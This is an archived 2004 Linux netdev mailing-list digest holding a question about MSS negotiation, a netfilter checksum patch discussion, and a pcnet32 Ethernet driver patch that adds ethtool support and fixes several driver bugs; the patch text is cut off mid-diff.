+-DLS --0__=07BBE4AEDFFFA33A8f9e8a93df938690918c07BBE4AEDFFFA33A-- From alan@storlinksemi.com Tue Feb 17 12:26:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Feb 2004 12:26:27 -0800 (PST) Received: from mail.storlinksemi.com (adsl-67-125-238-65.dsl.snfc21.pacbell.net [67.125.238.65]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1HKQ8KO030923 for ; Tue, 17 Feb 2004 12:26:08 -0800 Received: from VALUED51C59791 ([192.168.0.113]) by mail.storlinksemi.com (8.12.5/8.12.5) with ESMTP id i1HCUTK2007136 for ; Tue, 17 Feb 2004 04:30:29 -0800 From: "Alan Shih" To: Subject: RE: Force client to receive MSS > PMTU ? Date: Tue, 17 Feb 2004 12:26:04 -0800 Message-ID: <002501c3f594$443a6b30$7100a8c0@VALUED51C59791> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2616 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Importance: Normal In-Reply-To: X-archive-position: 3343 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: alan@storlinksemi.com Precedence: bulk X-list: netdev -----Original Message----- From: Alan Shih [mailto:alan@storlinksemi.com] Sent: Tuesday, February 17, 2004 11:40 AM To: 'netdev@oss.sgi.com' Subject: Force client to receive MSS > PMTU ? Hi all, I am experimenting with ip fragmentation. I would like to force a generic client [unmodified Linux] to accept MSS that is larger than PMTU [like 4K]. Is that possible? Right now the negotiation always forces down to 1460. Thanks Al From jmorris@redhat.com Tue Feb 17 12:35:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Feb 2004 12:35:36 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1HKZRKO031361 for ; Tue, 17 Feb 2004 12:35:31 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1HKZKb12881; Tue, 17 Feb 2004 15:35:20 -0500 Received: from mail.boston.redhat.com (mail.boston.redhat.com [172.16.64.12]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1HKZJi15627; Tue, 17 Feb 2004 15:35:19 -0500 Received: from thoron.boston.redhat.com (thoron.boston.redhat.com [172.16.65.238]) by mail.boston.redhat.com (8.12.8/8.12.8) with ESMTP id i1HKZH03009591; Tue, 17 Feb 2004 15:35:17 -0500 Date: Tue, 17 Feb 2004 15:35:27 -0500 (EST) From: James Morris X-X-Sender: jmorris@thoron.boston.redhat.com To: Harald Welte cc: netdev@oss.sgi.com Subject: Re: [PATCH] Fix checksum bug for multicast/broadcast packets on postrouting hook In-Reply-To: <20040217155452.GA9464@sunbeam.de.gnumonks.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3344 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jmorris@redhat.com Precedence: bulk X-list: netdev On Tue, 17 Feb 2004, Harald Welte wrote: > On Sun, Feb 15, 2004 at 01:09:23AM -0500, James Morris wrote: > > If the netfilter core code is modified instead, we will end up adding > > skb_ip_make_writable() to nf_hook_slow() which will be called for every > > packet with an output device which uses hardware checksums. > > > > Not sure which is worse, but here's a proposed patch which does this. > > Why can't we somehow check inside the netfilter hook if the packet is > at least multicast/broadcast (or even better: also locally generated)? Well, we need to use skb_ip_make_writable() in any case (not just for mcast/bcast packets), as we are modifying a part of the packet which may not be linear. Note that this is only called for packets with an outdev, and does nothing if the transport layer checksum is writeable. - James -- James Morris From brazilnut@us.ibm.com Tue Feb 17 13:32:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Feb 2004 13:33:11 -0800 (PST) Received: from e6.ny.us.ibm.com (e6.ny.us.ibm.com [32.97.182.106]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1HLWnKO001108 for ; Tue, 17 Feb 2004 13:32:58 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e6.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1HLWV4i164804; Tue, 17 Feb 2004 16:32:31 -0500 Received: from dyn318364bld.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1HLWXMn110748; Tue, 17 Feb 2004 16:32:34 -0500 Received: (from donf@localhost) by dyn318364bld.beaverton.ibm.com (8.11.6/8.11.6) id i1HLVvv02518; Tue, 17 Feb 2004 13:31:57 -0800 From: Don Fry Message-Id: <200402172131.i1HLVvv02518@dyn318364bld.beaverton.ibm.com> Subject: [PATCH] and enhancements to pcnet32.c for 2.6.3-rc2 To: tsbogend@alpha.franken.de Date: Tue, 17 Feb 2004 13:31:57 -0800 (PST) Cc: netdev@oss.sgi.com X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3345 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev Attached is a collection of patches for the pcnet32 driver. The maintainer has not responded to the following three patches. 28 Jan Chinmay Albal, bug caused by pcnet32_watchdog and pcnet32_interrupt running simultaneously on different CPUs, causing the wrong register(s) to be read/written. I have added locking to other places (ioctl) this was also happening. 2 Feb Jon Mason, adding vendor_id to pcnet32_pci_tbl. I also submitted an enhancement 22 Dec and 19 Jan, to support PCI hot remove. Donald Becker replied that the patch was insufficient for PCMCIA hot remove, which is correct. The fix, confirmed by Greg KH, is sufficient for PCI. It has been tested on IA32 and PPC64 hardware. I haven't been able to find a PCMCIA/cardbus adapter which uses the pcnet32 chip. New functionality in this patch: Jim Lewis added "ethtool -t" loopback test capability. I have changed the driver to use generic_mii_ioctl, ethtool_ops, and netif_msg_* for printk's. Bugs fixed: - Several error paths didn't free allocated resources. - The length for receive buffers was off by 2, both to the hardware and to pci_[un]map_single. - In the pcnet32_interrupt routine when the cur_tx 32-bit counter wrapped, the dirty_tx value was never incremented, causing 79C975 and some other adapters to drop old skb's and not unmap the buffers. 79C971 and 79C792 adapters would detect a hung transmit and reset. - If the driver had done a netif_stop_queue and then the counters wrapped around (both dirty_tx and cur_tx were less than TX_RING_SIZE), on an IA32 system "dirty_tx > lp->cur_tx - TX_RING_SIZE + 2" would never be true, and never call netif_wake_queue. --- linux-2.6.3-rc2/drivers/net/pcnet32.c Tue Feb 10 09:15:52 2004 +++ linux-2.6.3-rc2.p/drivers/net/pcnet32.c Wed Feb 11 13:47:59 2004 @@ -22,8 +22,8 @@ *************************************************************************/ #define DRV_NAME "pcnet32" -#define DRV_VERSION "1.27b" -#define DRV_RELDATE "01.10.2002" +#define DRV_VERSION "1.28" +#define DRV_RELDATE "02.11.2004" #define PFX DRV_NAME ": " static const char *version = @@ -58,6 +58,12 @@ static struct pci_device_id pcnet32_pci_tbl[] = { { PCI_VENDOR_ID_AMD, PCI_DEVICE_ID_AMD_LANCE_HOME, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0 }, { PCI_VENDOR_ID_AMD, PCI_DEVICE_ID_AMD_LANCE, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0 }, + /* + * Adapters that were sold with IBM's RS/6000 or pSeries hardware have + * the incorrect vendor id. + */ + { PCI_VENDOR_ID_TRIDENT, PCI_DEVICE_ID_AMD_LANCE, PCI_ANY_ID, PCI_ANY_ID, + PCI_CLASS_NETWORK_ETHERNET << 8, 0xffff00, 0 }, { 0, } }; @@ -73,7 +79,7 @@ -static int pcnet32_debug = 1; +static int pcnet32_debug = 0; static int tx_start = 1; /* Mapping -- 0:20, 1:64, 2:128, 3:~220 (depends on chip vers) */ static int pcnet32vlb; /* check for VLB cards ? */ @@ -123,6 +129,10 @@ static int options[MAX_UNITS]; static int full_duplex[MAX_UNITS]; +static const char pcnet32_gstrings_test[][ETH_GSTRING_LEN] = { + "Loopback test (offline)" +}; +#define PCNET32_TEST_LEN (sizeof(pcnet32_gstrings_test) / ETH_GSTRING_LEN) /* * Theory of Operation * @@ -213,6 +223,13 @@ * clean up and using new mii module * v1.27b Sep 30 2002 Kent Yoder * Added timer for cable connection state changes. + * v1.28 11 Feb 2004 Don Fry , + * Jon Mason , Chinmay Albal , + * Jim Lewis . + * Now uses ethtool_ops, netif_msg_*, and generic_mii_ioctl. + * Loopback test added. Supports PCI (not PCMCIA) hot remove. + * Fixes "Bus master arbitration failure" and pci_[un]map_single + * length errors. */ @@ -319,8 +336,9 @@ dxsuflo:1, /* disable transmit stop on uflo */ mii:1; /* mii port available */ struct net_device *next; - struct mii_if_info mii_if; + struct mii_if_info mii_if; struct timer_list watchdog_timer; + u32 msg_enable; /* debug message level */ }; static void pcnet32_probe_vlbus(void); @@ -339,6 +357,11 @@ static void pcnet32_watchdog(struct net_device *); static int mdio_read(struct net_device *dev, int phy_id, int reg_num); static void mdio_write(struct net_device *dev, int phy_id, int reg_num, int val); +static void pcnet32_restart(struct net_device *dev, unsigned int csr0_bits); + +static void pcnet32_ethtool_test(struct net_device *dev, + struct ethtool_test *eth_test, u64 *data); +static int pcnet32_loopback_test(struct net_device *dev, uint64_t *data1); enum pci_flags_bit { PCI_USES_IO=1, PCI_USES_MEM=2, PCI_USES_MASTER=4, @@ -457,6 +480,259 @@ }; +static int pcnet32_get_settings(struct net_device *dev, struct ethtool_cmd *cmd) +{ + struct pcnet32_private *lp = dev->priv; + unsigned long flags; + + spin_lock_irqsave(&lp->lock, flags); + mii_ethtool_gset(&lp->mii_if, cmd); + spin_unlock_irqrestore(&lp->lock, flags); + return 0; +} + +static int pcnet32_set_settings(struct net_device *dev, struct ethtool_cmd *cmd) +{ + struct pcnet32_private *lp = dev->priv; + unsigned long flags; + int r; + + spin_lock_irqsave(&lp->lock, flags); + r = mii_ethtool_sset(&lp->mii_if, cmd); + spin_unlock_irqrestore(&lp->lock, flags); + return r; +} + +static void pcnet32_get_drvinfo(struct net_device *dev, struct ethtool_drvinfo *info) +{ + struct pcnet32_private *lp = dev->priv; + + strcpy (info->driver, DRV_NAME); + strcpy (info->version, DRV_VERSION); + if (lp->pci_dev) + strcpy (info->bus_info, pci_name(lp->pci_dev)); + else + sprintf(info->bus_info, "VLB 0x%lx", dev->base_addr); + info->testinfo_len = PCNET32_TEST_LEN; +} + +static u32 pcnet32_get_link(struct net_device *dev) +{ + struct pcnet32_private *lp = dev->priv; + unsigned long flags; + int r; + + spin_lock_irqsave(&lp->lock, flags); + r = mii_link_ok(&lp->mii_if); + spin_unlock_irqrestore(&lp->lock, flags); + return r; +} + +static u32 pcnet32_get_msglevel(struct net_device *dev) +{ + struct pcnet32_private *lp = dev->priv; + return lp->msg_enable; +} + +static void pcnet32_set_msglevel(struct net_device *dev, u32 value) +{ + struct pcnet32_private *lp = dev->priv; + lp->msg_enable = value; +} + +static int pcnet32_nway_reset(struct net_device *dev) +{ + struct pcnet32_private *lp = dev->priv; + unsigned long flags; + int r; + + spin_lock_irqsave(&lp->lock, flags); + r = mii_nway_restart(&lp->mii_if); + spin_unlock_irqrestore(&lp->lock, flags); + return r; +} + +static void pcnet32_get_ringparam(struct net_device *dev, struct ethtool_ringparam *ering) +{ + struct pcnet32_private *lp = dev->priv; + + ering->tx_max_pending = TX_RING_SIZE - 1; + ering->tx_pending = lp->cur_tx - lp->dirty_tx; + ering->rx_max_pending = RX_RING_SIZE - 1; + ering->rx_pending = lp->cur_rx & RX_RING_MOD_MASK; +} + +static void pcnet32_get_strings(struct net_device *dev, u32 stringset, u8 *data) +{ + memcpy(data, pcnet32_gstrings_test, sizeof(pcnet32_gstrings_test)); +} + +static int pcnet32_self_test_count(struct net_device *dev) +{ + return PCNET32_TEST_LEN; +} + +static void pcnet32_ethtool_test(struct net_device *dev, struct ethtool_test *test, u64 *data) +{ + struct pcnet32_private *lp = dev->priv; + int rc; + + if (test->flags == ETH_TEST_FL_OFFLINE) { + rc = pcnet32_loopback_test(dev, data); + if (rc) { + if (netif_msg_hw(lp)) + printk(KERN_DEBUG "%s: Loopback test failed.\n", dev->name); + test->flags |= ETH_TEST_FL_FAILED; + } else if (netif_msg_hw(lp)) + printk(KERN_DEBUG "%s: Loopback test passed.\n", dev->name); + } else + printk(KERN_DEBUG "%s: No tests to run (specify 'Offline' on ethtool).", dev->name); +} /* end pcnet32_ethtool_test */ + +static int pcnet32_loopback_test(struct net_device *dev, uint64_t *data1) +{ + struct pcnet32_private *lp = dev->priv; + struct pcnet32_access *a = &lp->a; // access to registers + ulong ioaddr = dev->base_addr; // card base I/O address + struct sk_buff *skb; // sk buff + int x, y, i; // counters + int numbuffs = 4; // number of TX/RX buffers and descs + u16 status = 0x8300; // TX ring status + int rc; // return code + int size; // size of packets + unsigned char *packet; // source packet data + static int data_len = 60; // length of source packets data field + unsigned long flags; + + *data1 = 1; // status of test, set to fail in case we abort + rc = 1; // default to fail + + spin_lock_irqsave(&lp->lock, flags); + lp->a.write_csr(ioaddr, 0, 0x7904); + + del_timer_sync(&lp->watchdog_timer); + + netif_stop_queue(dev); + + pcnet32_restart(dev, 0x0000); // purge & init rings but don't actually restart + + lp->a.write_csr(ioaddr, 0, 0x0004); // Set STOP bit + + x = a->read_bcr(ioaddr, 32); // set internal loopback in BSR32 + x = x | 0x00000002; + a->write_bcr(ioaddr, 32, x); + + /* Initialize Transmit buffers. */ + size = data_len + 15; + for (x=0; xname, __LINE__); + goto clean_up; + } else { + packet = skb->data; + skb_put(skb, size); // create space for data + lp->tx_skbuff[x] = skb; + lp->tx_ring[x].length = le16_to_cpu(-skb->len); + lp->tx_ring[x].misc = 0x00000000; + + // put DA and SA into the skb + for (i=0; i<12; i++) + *packet++ = 0xff; + // type + *packet++ = 0x08; + *packet++ = 0x06; + // packet number + *packet++ = x; + // fill packet with data + for (y=0; ytx_dma_addr[x] = pci_map_single(lp->pci_dev, skb->data, skb->len, PCI_DMA_TODEVICE); + lp->tx_ring[x].base = (u32)le32_to_cpu(lp->tx_dma_addr[x]); + wmb(); /* Make sure owner changes after all others are visible */ + lp->tx_ring[x].status = le16_to_cpu(status); + } + } + + lp->a.write_csr(ioaddr, 0, 0x0002); // Set STRT bit + spin_unlock_irqrestore(&lp->lock, flags); + + mdelay(50); // wait a bit + + spin_lock_irqsave(&lp->lock, flags); + lp->a.write_csr(ioaddr, 0, 0x0004); // Set STOP bit + + if (netif_msg_hw(lp) && netif_msg_pktdata(lp)) { + printk(KERN_DEBUG "%s: RX loopback packets:\n", dev->name); + + for (x=0; xname, x); + skb=lp->rx_skbuff[x]; + for (i=0; idata+i)); + } + printk("\n"); + } + } + + x = 0; + rc = 0; + while (xrx_skbuff[x]; + packet = lp->tx_skbuff[x]->data; + for (i=0; idata+i) != packet[i]) { + if (netif_msg_hw(lp)) + printk(KERN_DEBUG "%s: Error in compare! %2x - %02x %02x\n", + dev->name, i, *(skb->data+i), packet[i]); + rc = 1; + break; + } + } + x++; + } + if (!rc) { + *data1 = 0; + } + +clean_up: + x = a->read_csr(ioaddr,15) & 0xFFFF; + a->write_csr(ioaddr, 15, (x & ~0x0044)); // reset bits 6 and 2 + + x = a->read_bcr(ioaddr, 32); // BCR32 + x = x & ~0x00000002; + a->write_bcr(ioaddr, 32, x); + + pcnet32_restart(dev, 0x0042); // resume normal operation + + netif_wake_queue(dev); + + mod_timer(&(lp->watchdog_timer), PCNET32_WATCHDOG_TIMEOUT); + + /* Clear interrupts, and set interrupt enable. */ + lp->a.write_csr (ioaddr, 0, 0x7940); + spin_unlock_irqrestore(&lp->lock, flags); + + return(rc); +} /* end pcnet32_loopback_test */ + +static struct ethtool_ops pcnet32_ethtool_ops = { + .get_settings = pcnet32_get_settings, + .set_settings = pcnet32_set_settings, + .get_drvinfo = pcnet32_get_drvinfo, + .get_msglevel = pcnet32_get_msglevel, + .set_msglevel = pcnet32_set_msglevel, + .nway_reset = pcnet32_nway_reset, + .get_link = pcnet32_get_link, + .get_ringparam = pcnet32_get_ringparam, + .get_tx_csum = ethtool_op_get_tx_csum, + .get_sg = ethtool_op_get_sg, + .get_tso = ethtool_op_get_tso, + .get_strings = pcnet32_get_strings, + .self_test_count = pcnet32_self_test_count, + .self_test = pcnet32_ethtool_test, +}; /* only probes for non-PCI devices, the rest are handled by * pci_register_driver via pcnet32_probe_pci */ @@ -546,10 +822,12 @@ } chip_version = a->read_csr(ioaddr, 88) | (a->read_csr(ioaddr,89) << 16); - if (pcnet32_debug > 2) + if (pcnet32_debug & NETIF_MSG_PROBE) printk(KERN_INFO " PCnet chip version is %#x.\n", chip_version); - if ((chip_version & 0xfff) != 0x003) + if ((chip_version & 0xfff) != 0x003) { + printk(KERN_INFO PFX "Unsupported chip version.\n"); goto err_release_region; + } /* initialize variables */ fdx = mii = fset = dxsuflo = ltint = 0; @@ -600,7 +878,7 @@ media &= ~3; media |= 1; #endif - if (pcnet32_debug > 2) + if (pcnet32_debug & NETIF_MSG_PROBE) printk(KERN_DEBUG PFX "media reset to %#x.\n", media); a->write_bcr(ioaddr, 49, media); break; @@ -631,6 +909,7 @@ dev = alloc_etherdev(0); if(!dev) { + printk(KERN_ERR PFX "Memory allocation failed.\n"); ret = -ENOMEM; goto err_release_region; } @@ -704,6 +983,7 @@ dev->base_addr = ioaddr; /* pci_alloc_consistent returns page-aligned memory, so we do not have to check the alignment */ if ((lp = pci_alloc_consistent(pdev, sizeof(*lp), &lp_dma_addr)) == NULL) { + printk("\n" KERN_ERR PFX "Consistent memory allocation failed.\n"); ret = -ENOMEM; goto err_free_netdev; } @@ -720,9 +1000,12 @@ lp->name = chipname; lp->shared_irq = shared; lp->mii_if.full_duplex = fdx; + lp->mii_if.phy_id_mask = 0x1f; + lp->mii_if.reg_num_mask = 0x1f; lp->dxsuflo = dxsuflo; lp->ltint = ltint; lp->mii = mii; + lp->msg_enable = pcnet32_debug; if ((cards_found >= MAX_UNITS) || (options[cards_found] > sizeof(options_mapping))) lp->options = PCNET32_PORT_ASEL; else @@ -803,6 +1086,7 @@ dev->get_stats = &pcnet32_get_stats; dev->set_multicast_list = &pcnet32_set_multicast_list; dev->do_ioctl = &pcnet32_ioctl; + dev->ethtool_ops = &pcnet32_ethtool_ops; dev->tx_timeout = pcnet32_tx_timeout; dev->watchdog_timeo = (5*HZ); @@ -810,8 +1094,13 @@ if (register_netdev(dev)) goto err_free_consistent; - lp->next = pcnet32_dev; - pcnet32_dev = dev; + if (pdev) + pci_set_drvdata(pdev, dev); + else { + lp->next = pcnet32_dev; + pcnet32_dev = dev; + } + printk(KERN_INFO "%s: registered as %s\n",dev->name, lp->name); cards_found++; return 0; @@ -833,6 +1122,7 @@ unsigned long ioaddr = dev->base_addr; u16 val; int i; + int ret; if (dev->irq == 0 || request_irq(dev->irq, &pcnet32_interrupt, @@ -841,8 +1131,10 @@ } /* Check for a valid station address */ - if( !is_valid_ether_addr(dev->dev_addr) ) - return -EINVAL; + if( !is_valid_ether_addr(dev->dev_addr) ) { + ret = -EINVAL; + goto err_free_irq; + } /* Reset the PCNET32 */ lp->a.reset (ioaddr); @@ -850,7 +1142,7 @@ /* switch pcnet32 to 32bit mode */ lp->a.write_bcr (ioaddr, 20, 2); - if (pcnet32_debug > 1) + if (netif_msg_ifup(lp)) printk(KERN_DEBUG "%s: pcnet32_open() irq %d tx/rx rings %#x/%#x init %#x.\n", dev->name, dev->irq, (u32) (lp->dma_addr + offsetof(struct pcnet32_private, tx_ring)), @@ -916,8 +1208,10 @@ lp->init_block.mode = le16_to_cpu((lp->options & PCNET32_PORT_PORTSEL) << 7); lp->init_block.filter[0] = 0x00000000; lp->init_block.filter[1] = 0x00000000; - if (pcnet32_init_ring(dev)) - return -ENOMEM; + if (pcnet32_init_ring(dev)) { + ret = -ENOMEM; + goto err_free_ring; + } /* Re-initialize the PCNET32, and start it when done. */ lp->a.write_csr (ioaddr, 1, (lp->dma_addr + offsetof(struct pcnet32_private, init_block)) &0xffff); @@ -944,13 +1238,35 @@ */ lp->a.write_csr (ioaddr, 0, 0x0042); - if (pcnet32_debug > 2) + if (netif_msg_ifup(lp)) printk(KERN_DEBUG "%s: pcnet32 open after %d ticks, init block %#x csr0 %4.4x.\n", dev->name, i, (u32) (lp->dma_addr + offsetof(struct pcnet32_private, init_block)), lp->a.read_csr(ioaddr, 0)); return 0; /* Always succeed */ + +err_free_ring: + /* free any allocated skbuffs */ + for (i = 0; i < RX_RING_SIZE; i++) { + lp->rx_ring[i].status = 0; + if (lp->rx_skbuff[i]) { + pci_unmap_single(lp->pci_dev, lp->rx_dma_addr[i], PKT_BUF_SZ-2, + PCI_DMA_FROMDEVICE); + dev_kfree_skb(lp->rx_skbuff[i]); + } + lp->rx_skbuff[i] = NULL; + lp->rx_dma_addr[i] = 0; + } + /* + * Switch back to 16bit mode to avoid problems with dumb + * DOS packet driver after a warm reboot + */ + lp->a.write_bcr (ioaddr, 20, 4); + +err_free_irq: + free_irq(dev->irq, dev); + return ret; } /* @@ -1006,15 +1322,17 @@ } if (lp->rx_dma_addr[i] == 0) - lp->rx_dma_addr[i] = pci_map_single(lp->pci_dev, rx_skbuff->tail, rx_skbuff->len, PCI_DMA_FROMDEVICE); + lp->rx_dma_addr[i] = pci_map_single(lp->pci_dev, rx_skbuff->tail, PKT_BUF_SZ-2, PCI_DMA_FROMDEVICE); lp->rx_ring[i].base = (u32)le32_to_cpu(lp->rx_dma_addr[i]); - lp->rx_ring[i].buf_length = le16_to_cpu(-PKT_BUF_SZ); + lp->rx_ring[i].buf_length = le16_to_cpu(2-PKT_BUF_SZ); + wmb(); /* Make sure owner changes after all others are visible */ lp->rx_ring[i].status = le16_to_cpu(0x8000); } /* The Tx buffer address is filled in as needed, but we do need to clear the upper ownership bit. */ for (i = 0; i < TX_RING_SIZE; i++) { lp->tx_ring[i].base = 0; + wmb(); /* Make sure owner changes after all others are visible */ lp->tx_ring[i].status = 0; lp->tx_dma_addr[i] = 0; } @@ -1061,7 +1379,7 @@ dev->name, lp->a.read_csr(ioaddr, 0)); lp->a.write_csr (ioaddr, 0, 0x0004); lp->stats.tx_errors++; - if (pcnet32_debug > 2) { + if (netif_msg_tx_err(lp)) { int i; printk(KERN_DEBUG " Ring data dump: dirty_tx %d cur_tx %d%s cur_rx %d.", lp->dirty_tx, lp->cur_tx, lp->tx_full ? " (full)" : "", @@ -1079,7 +1397,7 @@ pcnet32_restart(dev, 0x0042); dev->trans_start = jiffies; - netif_start_queue(dev); + netif_wake_queue(dev); spin_unlock_irqrestore(&lp->lock, flags); } @@ -1094,7 +1412,7 @@ int entry; unsigned long flags; - if (pcnet32_debug > 3) { + if (netif_msg_tx_queued(lp)) { printk(KERN_DEBUG "%s: pcnet32_start_xmit() called, csr0 %4.4x.\n", dev->name, lp->a.read_csr(ioaddr, 0)); } @@ -1105,9 +1423,10 @@ * interrupt when that option is available to us. */ status = 0x8300; + entry = (lp->cur_tx - lp->dirty_tx) & TX_RING_MOD_MASK; if ((lp->ltint) && - ((lp->cur_tx - lp->dirty_tx == TX_RING_SIZE/2) || - (lp->cur_tx - lp->dirty_tx >= TX_RING_SIZE-2))) + ((entry == TX_RING_SIZE/2) || + (entry >= TX_RING_SIZE-2))) { /* Enable Successful-TxDone interrupt if we have * 1/2 of, or nearly all of, our ring buffer Tx'd @@ -1122,7 +1441,7 @@ /* Mask to ring buffer boundary. */ entry = lp->cur_tx & TX_RING_MOD_MASK; - /* Caution: the write order is important here, set the base address + /* Caution: the write order is important here, set the status with the "ownership" bits last. */ lp->tx_ring[entry].length = le16_to_cpu(-skb->len); @@ -1143,9 +1462,9 @@ dev->trans_start = jiffies; - if (lp->tx_ring[(entry+1) & TX_RING_MOD_MASK].base == 0) - netif_start_queue(dev); - else { + if (lp->tx_ring[(entry+1) & TX_RING_MOD_MASK].base == 0) { + netif_wake_queue(dev); + } else { lp->tx_full = 1; netif_stop_queue(dev); } @@ -1182,7 +1501,7 @@ must_restart = 0; - if (pcnet32_debug > 5) + if (netif_msg_intr(lp)) printk(KERN_DEBUG "%s: interrupt csr0=%#2.2x new csr=%#2.2x.\n", dev->name, csr0, lp->a.read_csr (ioaddr, 0)); @@ -1191,8 +1510,9 @@ if (csr0 & 0x0200) { /* Tx-done interrupt */ unsigned int dirty_tx = lp->dirty_tx; + int delta; - while (dirty_tx < lp->cur_tx) { + while (dirty_tx != lp->cur_tx) { int entry = dirty_tx & TX_RING_MOD_MASK; int status = (short)le16_to_cpu(lp->tx_ring[entry].status); @@ -1246,15 +1566,17 @@ dirty_tx++; } - if (lp->cur_tx - dirty_tx >= TX_RING_SIZE) { + delta = (lp->cur_tx - dirty_tx) & (TX_RING_MOD_MASK + TX_RING_SIZE); + if (delta >= TX_RING_SIZE) { printk(KERN_ERR "%s: out-of-sync dirty pointer, %d vs. %d, full=%d.\n", dev->name, dirty_tx, lp->cur_tx, lp->tx_full); dirty_tx += TX_RING_SIZE; + delta -= TX_RING_SIZE; } if (lp->tx_full && netif_queue_stopped(dev) && - dirty_tx > lp->cur_tx - TX_RING_SIZE + 2) { + delta < TX_RING_SIZE - 2) { /* The ring is no longer full, clear tbusy. */ lp->tx_full = 0; netif_wake_queue (dev); @@ -1294,7 +1616,7 @@ lp->a.write_csr (ioaddr, 0, 0x7940); lp->a.write_rap (ioaddr,rap); - if (pcnet32_debug > 4) + if (netif_msg_intr(lp)) printk(KERN_DEBUG "%s: exiting interrupt, csr0=%#4.4x.\n", dev->name, lp->a.read_csr (ioaddr, 0)); @@ -1344,13 +1666,13 @@ if ((newskb = dev_alloc_skb (PKT_BUF_SZ))) { skb_reserve (newskb, 2); skb = lp->rx_skbuff[entry]; - pci_unmap_single(lp->pci_dev, lp->rx_dma_addr[entry], skb->len, PCI_DMA_FROMDEVICE); + pci_unmap_single(lp->pci_dev, lp->rx_dma_addr[entry], PKT_BUF_SZ-2, PCI_DMA_FROMDEVICE); skb_put (skb, pkt_len); lp->rx_skbuff[entry] = newskb; newskb->dev = dev; lp->rx_dma_addr[entry] = pci_map_single(lp->pci_dev, newskb->tail, - newskb->len, PCI_DMA_FROMDEVICE); + PKT_BUF_SZ-2, PCI_DMA_FROMDEVICE); lp->rx_ring[entry].base = le32_to_cpu(lp->rx_dma_addr[entry]); rx_in_place = 1; } else @@ -1379,7 +1701,7 @@ skb_put(skb,pkt_len); /* Make room */ pci_dma_sync_single(lp->pci_dev, lp->rx_dma_addr[entry], - PKT_BUF_SZ, + PKT_BUF_SZ-2, PCI_DMA_FROMDEVICE); eth_copy_and_sum(skb, (unsigned char *)(lp->rx_skbuff[entry]->tail), @@ -1396,7 +1718,8 @@ * The docs say that the buffer length isn't touched, but Andrew Boyd * of QNX reports that some revs of the 79C965 clear it. */ - lp->rx_ring[entry].buf_length = le16_to_cpu(-PKT_BUF_SZ); + lp->rx_ring[entry].buf_length = le16_to_cpu(2-PKT_BUF_SZ); + wmb(); /* Make sure owner changes after all others are visible */ lp->rx_ring[entry].status |= le16_to_cpu(0x8000); entry = (++lp->cur_rx) & RX_RING_MOD_MASK; } @@ -1417,7 +1740,7 @@ lp->stats.rx_missed_errors = lp->a.read_csr (ioaddr, 112); - if (pcnet32_debug > 1) + if (netif_msg_ifdown(lp)) printk(KERN_DEBUG "%s: Shutting down ethercard, status was %2.2x.\n", dev->name, lp->a.read_csr (ioaddr, 0)); @@ -1436,7 +1759,7 @@ for (i = 0; i < RX_RING_SIZE; i++) { lp->rx_ring[i].status = 0; if (lp->rx_skbuff[i]) { - pci_unmap_single(lp->pci_dev, lp->rx_dma_addr[i], lp->rx_skbuff[i]->len, PCI_DMA_FROMDEVICE); + pci_unmap_single(lp->pci_dev, lp->rx_dma_addr[i], PKT_BUF_SZ-2, PCI_DMA_FROMDEVICE); dev_kfree_skb(lp->rx_skbuff[i]); } lp->rx_skbuff[i] = NULL; @@ -1571,147 +1894,60 @@ lp->a.write_bcr(ioaddr, 33, phyaddr); } -static int pcnet32_ethtool_ioctl (struct net_device *dev, void *useraddr) -{ - struct pcnet32_private *lp = dev->priv; - u32 ethcmd; - int phyaddr = 0; - int phy_id = 0; - unsigned long ioaddr = dev->base_addr; - - if (lp->mii) { - phyaddr = lp->a.read_bcr (ioaddr, 33); - phy_id = (phyaddr >> 5) & 0x1f; - lp->mii_if.phy_id = phy_id; - } - - if (copy_from_user (ðcmd, useraddr, sizeof (ethcmd))) - return -EFAULT; - - switch (ethcmd) { - case ETHTOOL_GDRVINFO: { - struct ethtool_drvinfo info = { ETHTOOL_GDRVINFO }; - strcpy (info.driver, DRV_NAME); - strcpy (info.version, DRV_VERSION); - if (lp->pci_dev) - strcpy (info.bus_info, pci_name(lp->pci_dev)); - else - sprintf(info.bus_info, "VLB 0x%lx", dev->base_addr); - if (copy_to_user (useraddr, &info, sizeof (info))) - return -EFAULT; - return 0; - } - - /* get settings */ - case ETHTOOL_GSET: { - struct ethtool_cmd ecmd = { ETHTOOL_GSET }; - spin_lock_irq(&lp->lock); - mii_ethtool_gset(&lp->mii_if, &ecmd); - spin_unlock_irq(&lp->lock); - if (copy_to_user(useraddr, &ecmd, sizeof(ecmd))) - return -EFAULT; - return 0; - } - /* set settings */ - case ETHTOOL_SSET: { - int r; - struct ethtool_cmd ecmd; - if 